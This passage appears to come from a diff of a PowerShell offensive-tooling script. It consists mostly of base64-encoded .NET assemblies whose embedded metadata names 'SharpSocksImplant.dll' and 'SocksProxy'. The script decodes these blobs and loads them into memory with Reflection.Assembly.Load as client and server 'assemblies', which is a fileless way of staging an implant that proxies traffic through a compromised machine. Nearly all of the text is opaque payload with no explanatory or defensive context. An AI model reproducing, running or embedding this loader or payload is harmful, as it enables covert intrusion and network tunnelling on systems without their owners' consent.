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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAAAMAAAAqDYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + $DllBytes = [System.Convert]::FromBase64String($PS) + $Assembly = [System.Reflection.Assembly]::Load($DllBytes) + echo "[+] Client Assembly Loaded" + } + + if (($SocksServerLoaded -ne "TRUE") -and ($Server.IsPresent)) { + $Script:SocksServerLoaded = "TRUE" + echo "[-] Loading Server Assembly" + $PS = "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CgAABAJzVAAACn0LAAAEAnINCABwfQ8AAAQCfgIAAAR9EwAABAIoVAAACioTMAEARwAAAAAAAAAg//8AAIABAAAEIPQBAACAAgAABCDA1AEAgAMAAAQgECcAAIAEAAAEIEANAwCABQAABCDIAAAAgAYAAARzVQAACoAZAAAEKh4CKBUAAAYqHgIoVAAACipyAihUAAAKAgMoGAAABgIEKBoAAAYCFigcAAAGKh4CeyQAAAQqIgIDfSQAAAQqHgJ7JQAABCoiAgN9JQAABCoeAnsmAAAEKiICA30mAAAEKh4CeycAAAQqIgIDfScAAAQqHgJ7MAAABCoiAgN9MAAABCpWAihUAAAKAgN9LwAABAIEKCEAAAYqMgJ7LgAABG9WAAAKKhswBACQAAAACQAAEQIoIAAABnOTAAAGCgJzVwAACn0uAAAEA29YAAAKb1kAAAoLKygSAShaAAAKDAYIAwhvWwAACm+VAAAGJgJ7LgAABG9cAAAKCG9dAAAKEgEoXgAACi3P3g4SAf4WBwAAG29fAAAK3AJ7LgAABG9gAAAKAnsuAAAEAv4GJgAABnM0AAAKAnsuAAAEb2EAAAomKgEQAAACACMANVgADgAAAAAbMAMAlwAAAAoAABEoYgAACiYoYQAABhQKc2MAAAoLc2QAAAoMBxZzZQAACg1zrwAABhMECQhvZgAACglvZwAAChEEc2gAAAp9bwAABHIbCABwKGkAAAooCwAAKxEE/gawAAAGc2oAAApvawAACghvbAAAChEEe28AAARzbQAACgreHgksBglvXwAACtwILAYIb18AAArcBywGB29fAAAK3AYqAAEoAAACACEAVncACgAAAAACABkAaIEACgAAAAACABMAeIsACgAAAAAbMAMAiQAAAAsAABEDbzgAAAp0IwAAAQNvbgAACgoCey4AAAQC/gYmAAAGczQAAAoCey4AAARvYQAACiYGb28AAAomBm9wAAAKJgJ7LwAABAZvHwAABt48CwIoIAAABnI3CABwB282AAAKKBcAAApvRwAABgJ7LgAABAL+BiYAAAZzNAAACgJ7LgAABG9hAAAKJt4AKgAAAAEQAAAAAAAATEwAPBkAAAEeAnsxAAAEKiICA30xAAAEKh4CezIAAAQqIgIDfTIAAAQqHgJ7MwAABCoiAgN9MwAABCoeAns1AAAEKiICA301AAAEKh4Ce0EAAAQqIgIDfUEAAAQqAAAAEzAFAO8AAAAAAAAAAhYYFnNxAAAKfTQAAAQCc3IAAAp9OQAABAJzVAAACn06AAAEAnNUAAAKfTsAAAQCc1QAAAp9PAAABAJzVAAACn09AAAEAnNzAAAKfT4AAAQCc3QAAAp9PwAABAJzdQAACn1AAAAEAihUAAAKAhZzdgAACigsAAAGAgMoKgAABgIEfTYAAAQCBX03AAAEAhsoMAAABgJ7OQAABAVzkAAABiVyaQgAcG+FAAAGJXKHCABwb4cAAAYlAigzAAAGLQdyiQgAcCsFcpcIAHBviQAABiVyqwgAcG+PAAAGJRZviwAABiUWb40AAAZvdwAACipKAns5AAAEAns3AAAEb3gAAAoqAAATMAIAQgAAAAwAABECfDgAAAQoeQAACiwnKBwAAAoKEgACfDgAAAQoegAACih7AAAKAns0AAAEKHwAAAosAhcqAigrAAAGb30AAAomFioAABswBQCNBQAADQAAERQKA29vAAAKb34AAAoCezYAAARvfwAACgoGLA0Gb4AAAAoogQAACiwgA29wAAAKIJEBAABvggAACgNvcAAACm+DAAAK3UMFAADeIBMGAignAAAGcrcIAHARBm82AAAKKBcAAApvSAAABt4AFAsUDAIoKQAABgZvgAAACm9VAAAGEwcRBy0Wcv8IAHAGb4AAAAooFwAACnOEAAAKeihNAAAKEQdvLwAACm9OAAAKF41dAAABJRYfOp1vhQAACiUWmgsXmgwHKCMAAAosC3I/CQBwc4QAAAp63j4TCAIoJwAABnKjCQBwEQhvNgAACigXAAAKb0cAAAYDb3AAAAog9AEAAG+CAAAKA29wAAAKb4MAAArddQQAABQNcysAAAoTBBQTBXL9CQBwA29vAAAKb4YAAAooGwAACiwZA29vAAAKb4cAAApziAAACm+JAAAKEwUrSnIHCgBwA29vAAAKb4YAAAooGwAACiwzA29vAAAKb34AAAoCKC0AAAZvfwAAChMJEQksFxEJb4AAAAooIwAACi0JEQlvgAAAChMF3iETCgIoJwAABnIPCgBwBxEKbzYAAAooMwAACm9IAAAG3gAHAns3AAAEKBsAAAo5VAEAAAIoQAAABgJ7PwAABCgMAAArFjEsclsKAHAoigAACnJtCgBwKIoAAAoCKD8AAAZziwAACnOLAAAKbzsAAAoNKwwCKDcAAAZvOwAACg0RBChNAAAKCW+MAAAKby4AAAoCezkAAAQCezcAAARveAAACiVvigAABhEEKAYAACtYb4sAAAYRBSwJEQUoDQAAKy0nAignAAAGcnkKAHACez8AAAQoDAAAK4xMAAABKBcAAApvSAAABit2Ans5AAAEAns3AAAEb3gAAAolb4wAAAYRBSgNAAArWG+NAAAGAns/AAAEKAwAACsWMTECKCcAAAZyvwoAcBEFKA0AACuMTAAAAQJ7PwAABCgMAAArjEwAAAEoMwAACm9IAAAGAgIoKQAABhEFb1UAAAYoNQAABt0QAgAAEwsCKCcAAAZyKwsAcBELbzYAAAooFwAACm9IAAAG3e0BAAAACHINCABwKBsAAAo5sAAAAAIoJwAABnKFCwBwBygXAAAKb0gAAAYCe0AAAAQTDhYTDxEOEg8oIAAACgJ7QAAABAdvjQAACm+OAAAKAntAAAAEB2+PAAAKJt4MEQ8sBxEOKCQAAArcAns8AAAEExAWEw8REBIPKCAAAAoCez4AAAQHb5AAAAom3gwRDywHERAoJAAACtwHKAgAAAYDb3AAAAogyAAAAG+CAAAKA29wAAAKb5EAAApvZwAACt2mAQAABygJAAAGLHARBSwJEQUoDQAAKy0rAignAAAGb00AAAY5mwAAAAIoJwAABnLVCwBwBygXAAAKb0gAAAY4gAAAAAIoJwAABnINDABwBxEFKA0AACuMTAAAASgzAAAKb0gAAAYHAigpAAAGEQVvVQAABigGAAAGJitIAignAAAGb00AAAYsFgIoJwAABnJLDABwBygXAAAKb0gAAAYDb3AAAAoglAEAAG+CAAAKA29wAAAKb5EAAApvZwAACt3mAAAAFhMMAntAAAAEB2+NAAAKEw0rCiDoAwAAKJIAAAoRDSgOAAArLQsRDCUXWBMMHwoy4hENKA4AACsWMQ4RBBENb5MAAApvLgAACt4hExECKCcAAAZyiwwAcAcREW82AAAKKDMAAApvSAAABt4AAANvcAAACiDIAAAAb4IAAAoCEQQoNgAABhMSERIsKRESbzAAAAoWMR8Db3AAAApvkQAAChESby8AAAoWERIoBgAAK28xAAAKA29wAAAKb5EAAApvZwAACt4gExMCKCcAAAZy7QwAcBETbzYAAAooFwAA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